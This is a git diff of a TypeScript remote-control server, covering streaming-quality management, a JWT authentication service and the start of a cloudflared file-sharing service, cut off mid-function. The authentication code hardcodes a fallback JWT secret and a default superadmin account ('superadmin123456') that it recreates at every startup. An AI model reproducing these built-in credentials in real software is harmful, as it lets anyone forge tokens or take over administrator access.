private startAutoAdjust(): void {
|
||||
this.autoAdjustTimer = setInterval(() => {
|
||||
// 对有反馈数据的设备进行自动调整
|
||||
for (const [deviceId, state] of this.deviceStates) {
|
||||
if (Date.now() - state.lastFeedbackTime > 30000) continue // 超过30秒没反馈,跳过
|
||||
// 自动调整逻辑已在handleClientFeedback中处理
|
||||
}
|
||||
}, this.AUTO_ADJUST_INTERVAL)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取设备当前质量参数
|
||||
*/
|
||||
getDeviceQuality(deviceId: string): DeviceQualityState | null {
|
||||
return this.deviceStates.get(deviceId) || null
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有可用的质量档位
|
||||
*/
|
||||
getProfiles(): Record<string, QualityProfile> {
|
||||
return { ...QUALITY_PROFILES }
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取统计信息
|
||||
*/
|
||||
getStats(): object {
|
||||
const stats: any = { deviceCount: this.deviceStates.size, devices: {} }
|
||||
for (const [deviceId, state] of this.deviceStates) {
|
||||
stats.devices[deviceId] = {
|
||||
profile: state.currentProfile,
|
||||
fps: state.fps,
|
||||
quality: state.quality,
|
||||
resolution: `${state.maxWidth}x${state.maxHeight}`,
|
||||
frameCount: state.frameCount,
|
||||
avgFrameSize: Math.round(state.avgFrameSize),
|
||||
clientFps: state.clientFps,
|
||||
clientDropRate: (state.clientDropRate * 100).toFixed(1) + '%',
|
||||
}
|
||||
}
|
||||
return stats
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理设备状态
|
||||
*/
|
||||
removeDevice(deviceId: string): void {
|
||||
this.deviceStates.delete(deviceId)
|
||||
}
|
||||
|
||||
destroy(): void {
|
||||
if (this.autoAdjustTimer) {
|
||||
clearInterval(this.autoAdjustTimer)
|
||||
}
|
||||
this.deviceStates.clear()
|
||||
}
|
||||
}
|
||||
691
src/services/AuthService.ts
Normal file
691
src/services/AuthService.ts
Normal file
@@ -0,0 +1,691 @@
|
||||
// 确保环境变量已加载(如果还没有加载)
|
||||
import dotenv from 'dotenv'
|
||||
import jwt from 'jsonwebtoken'
|
||||
import bcrypt from 'bcryptjs'
|
||||
import path from 'path'
|
||||
|
||||
// pkg 打包后,需要从可执行文件所在目录读取 .env 文件
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const envPath = (process as any).pkg
|
||||
? path.join(path.dirname(process.execPath), '.env')
|
||||
: path.join(process.cwd(), '.env')
|
||||
|
||||
dotenv.config({ path: envPath })
|
||||
import fs from 'fs'
|
||||
import crypto from 'crypto'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* 用户角色类型
|
||||
*/
|
||||
export type UserRole = 'admin' | 'superadmin'
|
||||
|
||||
/**
|
||||
* 用户信息接口
|
||||
*/
|
||||
export interface User {
|
||||
id: string
|
||||
username: string
|
||||
passwordHash: string
|
||||
role?: UserRole // 用户角色,默认为'admin','superadmin'为超级管理员
|
||||
createdAt: Date
|
||||
lastLoginAt?: Date
|
||||
}
|
||||
|
||||
/**
|
||||
* 登录结果接口
|
||||
*/
|
||||
export interface LoginResult {
|
||||
success: boolean
|
||||
message?: string
|
||||
token?: string
|
||||
user?: {
|
||||
id: string
|
||||
username: string
|
||||
role?: UserRole
|
||||
lastLoginAt?: Date
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Token验证结果接口
|
||||
*/
|
||||
export interface TokenVerifyResult {
|
||||
valid: boolean
|
||||
user?: {
|
||||
id: string
|
||||
username: string
|
||||
role?: UserRole
|
||||
}
|
||||
error?: string
|
||||
}
|
||||
|
||||
/**
|
||||
* 认证服务
|
||||
*/
|
||||
export class AuthService {
|
||||
private logger: Logger
|
||||
private readonly JWT_SECRET: string
|
||||
private readonly JWT_EXPIRES_IN: string
|
||||
private readonly DEFAULT_USERNAME: string
|
||||
private readonly DEFAULT_PASSWORD: string
|
||||
private users: Map<string, User> = new Map()
|
||||
private readonly INIT_LOCK_FILE: string
|
||||
private readonly USER_DATA_FILE: string
|
||||
private readonly SUPERADMIN_USERNAME: string
|
||||
private readonly SUPERADMIN_PASSWORD: string
|
||||
|
||||
constructor() {
|
||||
this.logger = new Logger('AuthService')
|
||||
|
||||
// 确保环境变量已加载(双重保险)
|
||||
// 注意:顶部的 dotenv.config() 已经加载了,这里不需要重复加载
|
||||
|
||||
// 从环境变量获取配置,如果没有则使用默认值
|
||||
this.JWT_SECRET = process.env.JWT_SECRET || '838AE2CD136220F0758FFCD40A335E82'
|
||||
this.JWT_EXPIRES_IN = process.env.JWT_EXPIRES_IN || '24h'
|
||||
this.DEFAULT_USERNAME = process.env.DEFAULT_USERNAME || ''
|
||||
this.DEFAULT_PASSWORD = process.env.DEFAULT_PASSWORD || ''
|
||||
|
||||
// 超级管理员账号配置(从环境变量获取,如果没有则使用默认值)
|
||||
this.SUPERADMIN_USERNAME = process.env.SUPERADMIN_USERNAME || 'superadmin'
|
||||
this.SUPERADMIN_PASSWORD = process.env.SUPERADMIN_PASSWORD || 'superadmin123456'
|
||||
|
||||
// 调试日志:显示加载的环境变量(不显示敏感信息)
|
||||
const envLoaded = process.env.SUPERADMIN_USERNAME !== undefined
|
||||
this.logger.info(`环境变量加载状态:`)
|
||||
this.logger.info(` - SUPERADMIN_USERNAME: ${this.SUPERADMIN_USERNAME} ${envLoaded ? '(从.env加载)' : '(使用默认值)'}`)
|
||||
this.logger.info(` - SUPERADMIN_PASSWORD: ${process.env.SUPERADMIN_PASSWORD ? '已从.env加载' : '未设置(使用默认值)'}`)
|
||||
this.logger.info(` - JWT_SECRET: ${process.env.JWT_SECRET ? '已从.env加载' : '未设置(使用默认值)'}`)
|
||||
|
||||
// 设置初始化锁文件路径(pkg 打包后,从可执行文件所在目录)
|
||||
// @ts-ignore - process.pkg 是 pkg 打包后添加的属性
|
||||
const basePath = (process as any).pkg
|
||||
? path.dirname(process.execPath)
|
||||
: process.cwd()
|
||||
|
||||
this.INIT_LOCK_FILE = path.join(basePath, '.system_initialized')
|
||||
// 设置用户数据文件路径
|
||||
this.USER_DATA_FILE = path.join(basePath, '.user_data.json')
|
||||
|
||||
this.logger.info(`认证服务配置完成,锁文件: ${this.INIT_LOCK_FILE},用户数据: ${this.USER_DATA_FILE}`)
|
||||
|
||||
// 注意:异步初始化在 initialize() 方法中执行
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化认证服务(异步)
|
||||
* 必须在创建 AuthService 实例后调用此方法
|
||||
*/
|
||||
async initialize(): Promise<void> {
|
||||
try {
|
||||
this.logger.info('开始初始化认证服务...')
|
||||
|
||||
// 先初始化或恢复用户数据
|
||||
await this.initializeOrRestoreUsers()
|
||||
|
||||
// 然后初始化超级管理员
|
||||
await this.initializeSuperAdmin()
|
||||
|
||||
this.logger.info('认证服务初始化完成')
|
||||
} catch (error) {
|
||||
this.logger.error('认证服务初始化失败:', error)
|
||||
// 即使初始化失败,也尝试创建超级管理员作为备用
|
||||
try {
|
||||
await this.initializeSuperAdmin()
|
||||
} catch (superAdminError) {
|
||||
this.logger.error('创建超级管理员失败:', superAdminError)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化或恢复用户数据
|
||||
*/
|
||||
private async initializeOrRestoreUsers(): Promise<void> {
|
||||
try {
|
||||
if (this.isInitialized()) {
|
||||
// 系统已初始化,从文件恢复用户数据
|
||||
await this.loadUsersFromFile()
|
||||
this.logger.info('用户数据已从文件恢复')
|
||||
} else {
|
||||
// 系统未初始化,创建默认用户
|
||||
await this.initializeDefaultUser()
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('初始化或恢复用户数据失败:', error)
|
||||
// 如果恢复失败,尝试创建默认用户作为备用
|
||||
await this.initializeDefaultUser()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化默认管理员用户
|
||||
*/
|
||||
private async initializeDefaultUser(): Promise<void> {
|
||||
try {
|
||||
const passwordHash = await bcrypt.hash(this.DEFAULT_PASSWORD, 10)
|
||||
const defaultUser: User = {
|
||||
id: 'admin',
|
||||
username: this.DEFAULT_USERNAME,
|
||||
passwordHash,
|
||||
role: 'admin',
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(this.DEFAULT_USERNAME, defaultUser)
|
||||
this.logger.info(`默认用户已创建: ${this.DEFAULT_USERNAME}`)
|
||||
} catch (error) {
|
||||
this.logger.error('初始化默认用户失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化超级管理员账号
|
||||
*/
|
||||
private async initializeSuperAdmin(): Promise<void> {
|
||||
try {
|
||||
// 如果超级管理员已存在,检查是否需要更新
|
||||
if (this.users.has(this.SUPERADMIN_USERNAME)) {
|
||||
const existingUser = this.users.get(this.SUPERADMIN_USERNAME)!
|
||||
let needsUpdate = false
|
||||
|
||||
// 如果现有用户不是超级管理员,更新为超级管理员
|
||||
if (existingUser.role !== 'superadmin') {
|
||||
existingUser.role = 'superadmin'
|
||||
needsUpdate = true
|
||||
this.logger.info(`用户 ${this.SUPERADMIN_USERNAME} 已更新为超级管理员`)
|
||||
}
|
||||
|
||||
// 🆕 如果环境变量中设置了密码,始终用环境变量中的密码更新(确保.env配置生效)
|
||||
// 通过验证当前密码哈希与环境变量密码是否匹配来判断是否需要更新
|
||||
if (this.SUPERADMIN_PASSWORD) {
|
||||
const isCurrentPassword = await bcrypt.compare(this.SUPERADMIN_PASSWORD, existingUser.passwordHash)
|
||||
if (!isCurrentPassword) {
|
||||
// 环境变量中的密码与当前密码不同,更新密码
|
||||
existingUser.passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10)
|
||||
needsUpdate = true
|
||||
this.logger.info(`超级管理员密码已更新(从.env文件加载新密码)`)
|
||||
} else {
|
||||
this.logger.debug(`超级管理员密码与.env配置一致,无需更新`)
|
||||
}
|
||||
}
|
||||
|
||||
if (needsUpdate) {
|
||||
this.users.set(this.SUPERADMIN_USERNAME, existingUser)
|
||||
await this.saveUsersToFile()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 创建超级管理员账号
|
||||
const passwordHash = await bcrypt.hash(this.SUPERADMIN_PASSWORD, 10)
|
||||
const superAdminUser: User = {
|
||||
id: 'superadmin',
|
||||
username: this.SUPERADMIN_USERNAME,
|
||||
passwordHash,
|
||||
role: 'superadmin',
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(this.SUPERADMIN_USERNAME, superAdminUser)
|
||||
this.logger.info(`超级管理员账号已创建: ${this.SUPERADMIN_USERNAME}`)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存超级管理员数据失败:', saveError)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('初始化超级管理员失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 保存用户数据到文件
|
||||
*/
|
||||
private async saveUsersToFile(): Promise<void> {
|
||||
try {
|
||||
const usersData = Array.from(this.users.values())
|
||||
const data = {
|
||||
version: '1.0.0',
|
||||
savedAt: new Date().toISOString(),
|
||||
users: usersData
|
||||
}
|
||||
|
||||
fs.writeFileSync(this.USER_DATA_FILE, JSON.stringify(data, null, 2))
|
||||
this.logger.debug('用户数据已保存到文件')
|
||||
} catch (error) {
|
||||
this.logger.error('保存用户数据失败:', error)
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 从文件加载用户数据
|
||||
*/
|
||||
private async loadUsersFromFile(): Promise<void> {
|
||||
try {
|
||||
if (!fs.existsSync(this.USER_DATA_FILE)) {
|
||||
this.logger.warn('用户数据文件不存在,将创建空用户列表')
|
||||
return
|
||||
}
|
||||
|
||||
const fileContent = fs.readFileSync(this.USER_DATA_FILE, 'utf8')
|
||||
const data = JSON.parse(fileContent)
|
||||
|
||||
this.users.clear()
|
||||
|
||||
if (data.users && Array.isArray(data.users)) {
|
||||
for (const userData of data.users) {
|
||||
// 恢复Date对象
|
||||
const user: User = {
|
||||
...userData,
|
||||
role: userData.role || 'admin', // 兼容旧数据,默认为admin
|
||||
createdAt: new Date(userData.createdAt),
|
||||
lastLoginAt: userData.lastLoginAt ? new Date(userData.lastLoginAt) : undefined
|
||||
}
|
||||
this.users.set(user.username, user)
|
||||
}
|
||||
this.logger.info(`已加载 ${data.users.length} 个用户`)
|
||||
}
|
||||
} catch (error) {
|
||||
this.logger.error('加载用户数据失败:', error)
|
||||
throw error
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 用户登录
|
||||
*/
|
||||
async login(username: string, password: string): Promise<LoginResult> {
|
||||
try {
|
||||
this.logger.info(`用户登录尝试: ${username}`)
|
||||
|
||||
// 查找用户
|
||||
const user = this.users.get(username)
|
||||
if (!user) {
|
||||
this.logger.warn(`用户不存在: ${username}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
}
|
||||
}
|
||||
|
||||
// 验证密码
|
||||
const isPasswordValid = await bcrypt.compare(password, user.passwordHash)
|
||||
if (!isPasswordValid) {
|
||||
this.logger.warn(`密码错误: ${username}`)
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名或密码错误'
|
||||
}
|
||||
}
|
||||
|
||||
// 更新最后登录时间
|
||||
user.lastLoginAt = new Date()
|
||||
|
||||
// 保存用户数据到文件(异步但不影响登录流程)
|
||||
this.saveUsersToFile().catch(saveError => {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
})
|
||||
|
||||
// 生成JWT token(包含用户角色信息)
|
||||
const token = jwt.sign(
|
||||
{
|
||||
userId: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin' // 包含用户角色
|
||||
},
|
||||
this.JWT_SECRET,
|
||||
{
|
||||
expiresIn: this.JWT_EXPIRES_IN,
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
} as jwt.SignOptions
|
||||
)
|
||||
|
||||
this.logger.info(`用户登录成功: ${username}`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: '登录成功',
|
||||
token,
|
||||
user: {
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('登录过程发生错误:', error)
|
||||
return {
|
||||
success: false,
|
||||
message: '登录失败,请稍后重试'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 验证JWT token
|
||||
*/
|
||||
verifyToken(token: string): TokenVerifyResult {
|
||||
try {
|
||||
const decoded = jwt.verify(token, this.JWT_SECRET, {
|
||||
issuer: 'remote-control-server',
|
||||
audience: 'remote-control-client'
|
||||
}) as any
|
||||
|
||||
const user = this.users.get(decoded.username)
|
||||
if (!user) {
|
||||
return {
|
||||
valid: false,
|
||||
error: '用户不存在'
|
||||
}
|
||||
}
|
||||
|
||||
return {
|
||||
valid: true,
|
||||
user: {
|
||||
id: decoded.userId,
|
||||
username: decoded.username,
|
||||
role: user.role || 'admin' // 返回用户角色
|
||||
}
|
||||
}
|
||||
|
||||
} catch (error: any) {
|
||||
this.logger.warn('Token验证失败:', error.message)
|
||||
|
||||
if (error.name === 'TokenExpiredError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token已过期'
|
||||
}
|
||||
} else if (error.name === 'JsonWebTokenError') {
|
||||
return {
|
||||
valid: false,
|
||||
error: 'Token无效'
|
||||
}
|
||||
} else {
|
||||
return {
|
||||
valid: false,
|
||||
error: '验证失败'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取用户信息
|
||||
*/
|
||||
getUserByUsername(username: string): User | undefined {
|
||||
return this.users.get(username)
|
||||
}
|
||||
|
||||
/**
|
||||
* 创建新用户(用于扩展功能)
|
||||
*/
|
||||
async createUser(username: string, password: string): Promise<boolean> {
|
||||
try {
|
||||
if (this.users.has(username)) {
|
||||
this.logger.warn(`用户已存在: ${username}`)
|
||||
return false
|
||||
}
|
||||
|
||||
const passwordHash = await bcrypt.hash(password, 10)
|
||||
const user: User = {
|
||||
id: `user_${Date.now()}`,
|
||||
username,
|
||||
passwordHash,
|
||||
role: 'admin', // 新创建的用户默认为普通管理员
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
this.users.set(username, user)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
}
|
||||
|
||||
this.logger.info(`新用户已创建: ${username}`)
|
||||
return true
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('创建用户失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 更改用户密码(用于扩展功能)
|
||||
*/
|
||||
async changePassword(username: string, oldPassword: string, newPassword: string): Promise<boolean> {
|
||||
try {
|
||||
const user = this.users.get(username)
|
||||
if (!user) {
|
||||
return false
|
||||
}
|
||||
|
||||
const isOldPasswordValid = await bcrypt.compare(oldPassword, user.passwordHash)
|
||||
if (!isOldPasswordValid) {
|
||||
return false
|
||||
}
|
||||
|
||||
const newPasswordHash = await bcrypt.hash(newPassword, 10)
|
||||
user.passwordHash = newPasswordHash
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
}
|
||||
|
||||
this.logger.info(`用户密码已更改: ${username}`)
|
||||
return true
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('更改密码失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取所有用户(用于管理功能)
|
||||
*/
|
||||
getAllUsers(): Array<{id: string, username: string, role: UserRole, createdAt: Date, lastLoginAt?: Date}> {
|
||||
return Array.from(this.users.values()).map(user => ({
|
||||
id: user.id,
|
||||
username: user.username,
|
||||
role: user.role || 'admin',
|
||||
createdAt: user.createdAt,
|
||||
lastLoginAt: user.lastLoginAt
|
||||
}))
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查用户是否为超级管理员
|
||||
*/
|
||||
isSuperAdmin(username: string): boolean {
|
||||
const user = this.users.get(username)
|
||||
return user?.role === 'superadmin'
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取超级管理员用户名
|
||||
*/
|
||||
getSuperAdminUsername(): string {
|
||||
return this.SUPERADMIN_USERNAME
|
||||
}
|
||||
|
||||
/**
|
||||
* 检查系统是否已初始化(通过检查锁文件)
|
||||
*/
|
||||
isInitialized(): boolean {
|
||||
try {
|
||||
return fs.existsSync(this.INIT_LOCK_FILE)
|
||||
} catch (error) {
|
||||
this.logger.error('检查初始化锁文件失败:', error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取初始化锁文件路径
|
||||
*/
|
||||
getInitLockFilePath(): string {
|
||||
return this.INIT_LOCK_FILE
|
||||
}
|
||||
|
||||
/**
|
||||
* 生成唯一标识符
|
||||
*/
|
||||
private generateUniqueId(): string {
|
||||
// 生成32字节的随机字符串,转换为64字符的十六进制字符串
|
||||
return crypto.randomBytes(32).toString('hex')
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取初始化信息(如果已初始化)
|
||||
*/
|
||||
getInitializationInfo(): any {
|
||||
try {
|
||||
if (!this.isInitialized()) {
|
||||
return null
|
||||
}
|
||||
|
||||
const content = fs.readFileSync(this.INIT_LOCK_FILE, 'utf8')
|
||||
const info = JSON.parse(content)
|
||||
|
||||
// 如果旧版本没有唯一标识符,生成一个并更新
|
||||
if (!info.uniqueId) {
|
||||
info.uniqueId = this.generateUniqueId()
|
||||
try {
|
||||
fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(info, null, 2))
|
||||
this.logger.info('已为已初始化的系统生成唯一标识符')
|
||||
} catch (error) {
|
||||
this.logger.error('更新唯一标识符失败:', error)
|
||||
}
|
||||
}
|
||||
|
||||
return info
|
||||
} catch (error) {
|
||||
this.logger.error('读取初始化信息失败:', error)
|
||||
return null
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取系统唯一标识符
|
||||
*/
|
||||
getSystemUniqueId(): string | null {
|
||||
const initInfo = this.getInitializationInfo()
|
||||
return initInfo?.uniqueId || null
|
||||
}
|
||||
|
||||
/**
|
||||
* 初始化系统,设置管理员账号
|
||||
*/
|
||||
async initializeSystem(username: string, password: string): Promise<{
|
||||
success: boolean
|
||||
message: string
|
||||
uniqueId?: string
|
||||
}> {
|
||||
try {
|
||||
// 检查是否已经初始化(通过检查锁文件)
|
||||
if (this.isInitialized()) {
|
||||
return {
|
||||
success: false,
|
||||
message: '系统已经初始化,无法重复初始化'
|
||||
}
|
||||
}
|
||||
|
||||
// 验证输入参数
|
||||
if (!username || username.trim().length < 3) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名至少需要3个字符'
|
||||
}
|
||||
}
|
||||
|
||||
if (!password || password.length < 6) {
|
||||
return {
|
||||
success: false,
|
||||
message: '密码至少需要6个字符'
|
||||
}
|
||||
}
|
||||
|
||||
const trimmedUsername = username.trim()
|
||||
|
||||
// 检查用户名是否已存在
|
||||
if (this.users.has(trimmedUsername)) {
|
||||
return {
|
||||
success: false,
|
||||
message: '用户名已存在'
|
||||
}
|
||||
}
|
||||
|
||||
// 创建管理员用户
|
||||
const passwordHash = await bcrypt.hash(password, 10)
|
||||
const adminUser: User = {
|
||||
id: 'admin_' + Date.now(),
|
||||
username: trimmedUsername,
|
||||
passwordHash,
|
||||
createdAt: new Date()
|
||||
}
|
||||
|
||||
// 清除默认用户,添加新的管理员用户
|
||||
this.users.clear()
|
||||
this.users.set(trimmedUsername, adminUser)
|
||||
|
||||
// 保存用户数据到文件
|
||||
try {
|
||||
await this.saveUsersToFile()
|
||||
this.logger.info('用户数据已保存到文件')
|
||||
} catch (saveError) {
|
||||
this.logger.error('保存用户数据失败:', saveError)
|
||||
// 即使保存失败,也不影响初始化过程,但会记录错误
|
||||
}
|
||||
|
||||
// 生成唯一标识符
|
||||
const uniqueId = this.generateUniqueId()
|
||||
this.logger.info(`生成系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
||||
|
||||
// 创建初始化锁文件
|
||||
try {
|
||||
const initInfo = {
|
||||
initializedAt: new Date().toISOString(),
|
||||
adminUsername: trimmedUsername,
|
||||
version: '1.0.0',
|
||||
uniqueId: uniqueId // 系统唯一标识符
|
||||
}
|
||||
fs.writeFileSync(this.INIT_LOCK_FILE, JSON.stringify(initInfo, null, 2))
|
||||
this.logger.info(`系统已初始化,管理员用户: ${trimmedUsername},唯一标识符: ${uniqueId.substring(0, 8)}...,锁文件已创建: ${this.INIT_LOCK_FILE}`)
|
||||
} catch (lockError) {
|
||||
this.logger.error('创建初始化锁文件失败:', lockError)
|
||||
// 即使锁文件创建失败,也不影响初始化过程
|
||||
}
|
||||
|
||||
return {
|
||||
success: true,
|
||||
message: '系统初始化成功',
|
||||
uniqueId: uniqueId // 返回系统唯一标识符
|
||||
}
|
||||
|
||||
} catch (error) {
|
||||
this.logger.error('系统初始化失败:', error)
|
||||
return {
|
||||
success: false,
|
||||
message: '系统初始化失败,请稍后重试'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export default AuthService
|
||||
506
src/services/CloudflareShareService.ts
Normal file
506
src/services/CloudflareShareService.ts
Normal file
@@ -0,0 +1,506 @@
|
||||
import { spawn, ChildProcess } from 'child_process'
|
||||
import fs from 'fs'
|
||||
import path from 'path'
|
||||
import http from 'http'
|
||||
import express from 'express'
|
||||
import Logger from '../utils/Logger'
|
||||
|
||||
/**
|
||||
* Cloudflare文件分享服务
|
||||
* 用于生成临时文件分享链接,有效期10分钟
|
||||
*/
|
||||
export class CloudflareShareService {
|
||||
private logger: Logger
|
||||
private activeShares: Map<string, ShareSession> = new Map()
|
||||
private cleanupInterval: NodeJS.Timeout
|
||||
|
||||
constructor() {
|
||||
this.logger = new Logger('CloudflareShare')
|
||||
|
||||
// 每分钟清理过期的分享会话
|
||||
this.cleanupInterval = setInterval(() => {
|
||||
this.cleanupExpiredShares()
|
||||
}, 60 * 1000)
|
||||
}
|
||||
|
||||
/**
|
||||
* 为文件创建临时分享链接
|
||||
* @param filePath 文件路径
|
||||
* @param filename 文件名
|
||||
* @param durationMinutes 有效期(分钟),默认10分钟
|
||||
* @returns 分享链接信息
|
||||
*/
|
||||
async createShareLink(
|
||||
filePath: string,
|
||||
filename: string,
|
||||
durationMinutes: number = 10
|
||||
): Promise<ShareResult> {
|
||||
try {
|
||||
// 检查文件是否存在
|
||||
if (!fs.existsSync(filePath)) {
|
||||
throw new Error(`文件不存在: ${filePath}`)
|
||||
}
|
||||
|
||||
// 检查cloudflared是否存在
|
||||
const cloudflaredPath = await this.findCloudflared()
|
||||
if (!cloudflaredPath) {
|
||||
throw new Error('cloudflared 未找到,请先安装 cloudflared')
|
||||
}
|
||||
|
||||
// 生成会话ID
|
||||
const sessionId = this.generateSessionId()
|
||||
|
||||
// 创建临时服务器
|
||||
const port = await this.findAvailablePort(8080)
|
||||
const server = await this.createFileServer(filePath, filename, port)
|
||||
|
||||
// 启动cloudflared隧道
|
||||
const tunnelProcess = await this.startCloudflaredTunnel(cloudflaredPath, port)
|
||||
const tunnelUrl = await this.extractTunnelUrl(tunnelProcess)
|
||||
|
||||
// 创建分享会话
|
||||
const expiresAt = new Date(Date.now() + durationMinutes * 60 * 1000)
|
||||
const shareSession: ShareSession = {
|
||||
sessionId,
|
||||
filePath,
|
||||
filename,
|
||||
port,
|
||||
server,
|
||||
tunnelProcess,
|
||||
tunnelUrl,
|
||||
createdAt: new Date(),
|
||||
expiresAt
|
||||
}
|
||||
|
||||
this.activeShares.set(sessionId, shareSession)
|
||||
|
||||
this.logger.info(`创建分享链接成功: ${tunnelUrl} (有效期: ${durationMinutes}分钟)`)
|
||||
|
||||
return {
|
||||
success: true,
|
||||
sessionId,
|
||||
shareUrl: tunnelUrl,
|
||||
filename,
|
||||
expiresAt: expiresAt.toISOString(),
|
||||
durationMinutes
|
||||
}
|
||||
} catch (error: any) {
|
||||
const errorMessage = error.message || error.toString() || '未知错误'
|
||||
this.logger.error('创建分享链接失败:', errorMessage)
|
||||
this.logger.error('错误详情:', error)
|
||||
return {
|
||||
success: false,
|
||||
error: errorMessage
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 停止分享会话
|
||||
*/
|
||||
async stopShare(sessionId: string): Promise<boolean> {
|
||||
const session = this.activeShares.get(sessionId)
|
||||
if (!session) {
|
||||
return false
|
||||
}
|
||||
|
||||
try {
|
||||
// 关闭服务器
|
||||
if (session.server) {
|
||||
session.server.close()
|
||||
}
|
||||
|
||||
// 终止cloudflared进程
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGTERM')
|
||||
|
||||
// 如果进程没有正常退出,强制杀死
|
||||
setTimeout(() => {
|
||||
if (session.tunnelProcess && !session.tunnelProcess.killed) {
|
||||
session.tunnelProcess.kill('SIGKILL')
|
||||
}
|
||||
}, 5000)
|
||||
}
|
||||
|
||||
this.activeShares.delete(sessionId)
|
||||
this.logger.info(`停止分享会话: ${sessionId}`)
|
||||
return true
|
||||
} catch (error: any) {
|
||||
this.logger.error(`停止分享会话失败: ${sessionId}`, error)
|
||||
return false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取活动分享会话列表
|
||||
*/
|
||||
getActiveShares(): ShareInfo[] {
|
||||
const shares: ShareInfo[] = []
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
shares.push({
|
||||
sessionId,
|
||||
filename: session.filename,
|
||||
shareUrl: session.tunnelUrl,
|
||||
createdAt: session.createdAt.toISOString(),
|
||||
expiresAt: session.expiresAt.toISOString(),
|
||||
isExpired: Date.now() > session.expiresAt.getTime()
|
||||
})
|
||||
}
|
||||
return shares
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理过期的分享会话
|
||||
*/
|
||||
private cleanupExpiredShares(): void {
|
||||
const now = Date.now()
|
||||
const expiredSessions: string[] = []
|
||||
|
||||
for (const [sessionId, session] of this.activeShares) {
|
||||
if (now > session.expiresAt.getTime()) {
|
||||
expiredSessions.push(sessionId)
|
||||
}
|
||||
}
|
||||
|
||||
for (const sessionId of expiredSessions) {
|
||||
this.stopShare(sessionId)
|
||||
this.logger.info(`自动清理过期分享会话: ${sessionId}`)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 查找cloudflared可执行文件
|
||||
*/
|
||||
private async findCloudflared(): Promise<string | null> {
|
||||
// 相对于项目根目录的路径
|
||||
const projectRoot = path.resolve(process.cwd(), '..')
|
||||
|
||||
const possiblePaths = [
|
||||
path.join(projectRoot, 'cloudflared'), // 项目根目录
|
||||
'./cloudflared', // 当前目录
|
||||
path.join(process.cwd(), 'cloudflared'), // 完整路径
|
||||
'/usr/local/bin/cloudflared', // 系统安装路径
|
||||
'/usr/bin/cloudflared',
|
||||
'./bin/cloudflared'
|
||||
]
|
||||
|
||||
this.logger.info(`查找cloudflared,项目根目录: ${projectRoot}`)
|
||||
|
||||
for (const cloudflaredPath of possiblePaths) {
|
||||
this.logger.debug(`检查路径: ${cloudflaredPath}`)
|
||||
if (fs.existsSync(cloudflaredPath)) {
|
||||
this.logger.info(`找到cloudflared: ${cloudflaredPath}`)
|
||||
return cloudflaredPath
|
||||
}
|
||||
}
|
||||
|
||||
// 尝试从PATH中查找
|
||||
return new Promise((resolve) => {
